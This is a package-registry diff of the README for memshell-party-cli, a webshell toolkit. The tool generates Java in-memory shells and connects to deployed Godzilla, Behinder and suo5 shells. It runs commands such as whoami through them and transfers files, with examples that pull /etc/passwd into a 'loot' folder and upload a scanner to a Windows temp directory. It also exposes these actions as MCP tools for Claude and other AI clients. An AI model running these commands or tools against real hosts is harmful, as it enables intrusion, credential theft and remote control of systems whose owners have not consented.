memshell-party-cli 0.3.1 → 0.3.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +425 -371
- package/README.md +64 -13
- package/dist/cli.js +1379 -199
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +8 -5
- package/dist/index.js +859 -107
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/skills/memshell-party/SKILL.md +38 -9
package/README.md
CHANGED
|
@@ -11,16 +11,20 @@
|
|
|
11
11
|
|
|
12
12
|
- **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
|
|
13
13
|
服务器 / 工具 / 类型 / 打包器。
|
|
14
|
-
- **完全可脚本化** —— 每个选项都有对应命令行参数,CI
|
|
14
|
+
- **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现;
|
|
15
|
+
`--json` 模式下连错误都是结构化 JSON(`{"ok":false,"error":...}`)。
|
|
16
|
+
- **REPL** —— 裸 `memparty` 进入交互循环,一次会话跑多个命令,目标名随存随用。
|
|
15
17
|
- **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
|
|
16
18
|
- **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
|
|
17
19
|
- **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
|
|
18
20
|
凭证是否正确(回显 / 握手双向校验)。
|
|
19
21
|
- **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
|
|
20
22
|
(真实 `execCommand` / `Cmd` payload 往返)。
|
|
21
|
-
-
|
|
23
|
+
- **文件传输** —— `memparty upload` / `memparty download` 在哥斯拉 / 冰蝎马上传下载文件,
|
|
24
|
+
分块传输 + 完整性校验(哥斯拉校验远端大小,冰蝎比对 MD5)。
|
|
25
|
+
- **命名目标** —— `memparty save` 把 shell 存进项目(支持备注 + 分类),之后
|
|
22
26
|
`memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
|
|
23
|
-
- **操作日志** —— 每次 gen/probe/connect/exec/
|
|
27
|
+
- **操作日志** —— 每次 gen/probe/connect/exec/download/upload/save/note/remove 操作都追加到
|
|
24
28
|
`~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
|
|
25
29
|
- **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
|
|
26
30
|
base64 解码)。
|
|
@@ -53,8 +57,22 @@ export MEMPARTY_API_URL=http://127.0.0.1:8080
|
|
|
53
57
|
|
|
54
58
|
### 交互模式
|
|
55
59
|
|
|
60
|
+
裸 `memparty` 进入 REPL:一个进程里连续执行任意子命令,配合自动保存的命名目标,
|
|
61
|
+
一次会话打通 生成 → 验证 → 执行:
|
|
62
|
+
|
|
63
|
+
```text
|
|
64
|
+
memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
|
|
65
|
+
saved as '192.168.31.222/behinder'
|
|
66
|
+
memparty> exec 192.168.31.222/behinder --cmd whoami
|
|
67
|
+
memparty> list
|
|
68
|
+
memparty> exit
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
带参数运行时行为不变(管道 / CI 里裸 `memparty` 仍打印帮助)。REPL 内 `help` 查看命令、
|
|
72
|
+
`<子命令> --help` 查看示例、`exit`/`quit` 退出。`gen` / `probe` 的交互向导在 REPL 里照常可用:
|
|
73
|
+
|
|
56
74
|
```bash
|
|
57
|
-
memparty gen #
|
|
75
|
+
memparty gen # 内存马向导(REPL 外)
|
|
58
76
|
memparty probe # 探测马向导
|
|
59
77
|
```
|
|
60
78
|
|
|
@@ -157,40 +175,72 @@ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat
|
|
|
157
175
|
门禁头参数与 `connect` 相同;`--json` 返回 `{ ok, tool, url, command, output, durationMs }`,
|
|
158
176
|
方便脚本与 agent 使用。
|
|
159
177
|
|
|
178
|
+
### 文件上传 / 下载
|
|
179
|
+
|
|
180
|
+
`memparty upload` / `memparty download` 在已部署的哥斯拉 / 冰蝎 shell 上传输文件(真实
|
|
181
|
+
协议:哥斯拉调 payload 的 `uploadFile`/`bigFileUpload`/`bigFileDownload` 方法,冰蝎上传
|
|
182
|
+
`FileOperation` payload 类走 create+append / downloadPart)。大文件自动分块;哥斯拉传输后
|
|
183
|
+
校验远端文件大小,冰蝎比对远端 MD5——校验不过直接报错,不会留下"看起来成功"的坏文件。
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# 下载:默认落到当前目录的远端同名文件;-o 指定目标(目录则保留远端文件名)
|
|
187
|
+
memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
|
|
188
|
+
--header-value qSGAJScj /etc/passwd -o loot/passwd
|
|
189
|
+
|
|
190
|
+
# 已存在的本地文件不会被覆盖,除非显式 --force
|
|
191
|
+
memparty download hw222 /var/log/app.log --force
|
|
192
|
+
|
|
193
|
+
# 上传:覆盖写远端文件(截断 + 写入),上限 64 MiB
|
|
194
|
+
memparty upload hw222/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
失败语义要清楚:远端文件不存在、凭证错误、分块重试耗尽都会以退出码 1 报错;上传中途失败
|
|
198
|
+
时报错会提示远端文件可能是残缺的。`--json` 返回
|
|
199
|
+
`{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`。
|
|
200
|
+
|
|
201
|
+
非 ASCII 路径:冰蝎总是可用(路径经 class 常量池传输,与平台字符集无关);哥斯拉的路径参数
|
|
202
|
+
由服务端按平台默认字符集解码——JDK 18+ 与 Linux 都是 UTF-8,无需任何处理;老 JDK(8/11/17)
|
|
203
|
+
的中文 Windows 目标是 GBK,传中文路径时加 `--remote-charset GBK`(MCP 参数 `remoteCharset`)。
|
|
204
|
+
冰蝎对 >128 MiB 的文件改用尺寸校验代替 MD5(payload 的 check 会逐字节读全文件)。
|
|
205
|
+
单文件上限:哥斯拉 2 GiB(payload 的 int 限制),冰蝎上传 64 MiB、下载 2 GiB。
|
|
206
|
+
|
|
160
207
|
### 命名目标(项目)
|
|
161
208
|
|
|
162
209
|
保存一次,之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里:一个项目
|
|
163
210
|
归组同一次任务的多台 shell,并可带 `--remark` 备注和 `--category` 分类。
|
|
164
211
|
存储文件为 `~/.memparty/targets.json`。
|
|
165
212
|
|
|
213
|
+
`connect` / `exec` 成功后会**自动保存**为 `<主机>/<工具>`(如 `192.168.31.222/behinder`,
|
|
214
|
+
加 `--no-save` 跳过),下次直接报这个名字即可;也可以用 `save` 显式指定名字:
|
|
215
|
+
|
|
166
216
|
```bash
|
|
167
217
|
# 保存(项目自动创建;--remark/--category 是项目级属性,
|
|
168
218
|
# --shell-remark 是这台 shell 自己的备注)
|
|
169
|
-
memparty
|
|
219
|
+
memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
|
|
170
220
|
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
|
|
171
221
|
--remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
|
|
172
222
|
|
|
173
223
|
# 列出全部(可按 --category <名称> 过滤)
|
|
174
|
-
memparty
|
|
224
|
+
memparty list
|
|
175
225
|
|
|
176
226
|
# 使用:<项目>/<shell>;项目里只有一个 shell 时光写项目名也行
|
|
177
227
|
memparty connect hw222/bh9060
|
|
178
228
|
memparty exec hw222 --cmd "whoami"
|
|
179
229
|
|
|
180
230
|
# 改项目备注 / 改某台 shell 的备注 / 清理
|
|
181
|
-
memparty
|
|
182
|
-
memparty
|
|
183
|
-
memparty
|
|
184
|
-
memparty
|
|
231
|
+
memparty note hw222 --remark "新备注" --category prod
|
|
232
|
+
memparty note hw222/bh9060 --remark "新的 shell 备注"
|
|
233
|
+
memparty remove hw222/bh9060 # 删单个 shell
|
|
234
|
+
memparty remove hw222 # 删整个项目
|
|
185
235
|
```
|
|
186
236
|
|
|
187
237
|
显式参数仍会覆盖已存值(如 `memparty exec hw222 --cmd id --pass 其他密码`)。
|
|
188
238
|
|
|
189
239
|
### 操作日志
|
|
190
240
|
|
|
191
|
-
每次操作(gen、probe、connect、exec、
|
|
241
|
+
每次操作(gen、probe、connect、exec、download、upload、save/note/remove)都以一行 JSON 追加到
|
|
192
242
|
`~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
|
|
193
|
-
|
|
243
|
+
凭证、payload 内容和传输的文件内容不会写入日志。
|
|
194
244
|
|
|
195
245
|
```bash
|
|
196
246
|
memparty log # 最近 50 条,新的在前
|
|
@@ -311,7 +361,8 @@ Claude Code / Claude Desktop 配置示例:
|
|
|
311
361
|
|
|
312
362
|
暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
|
|
313
363
|
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
|
|
314
|
-
`exec_command`、`target_save`、`target_note`、`target_list
|
|
364
|
+
`exec_command`、`download_file`、`upload_file`、`target_save`、`target_note`、`target_list`、
|
|
365
|
+
`target_remove`、`log_list`。
|
|
315
366
|
|
|
316
367
|
## AI 技能(Claude Code)
|
|
317
368
|
|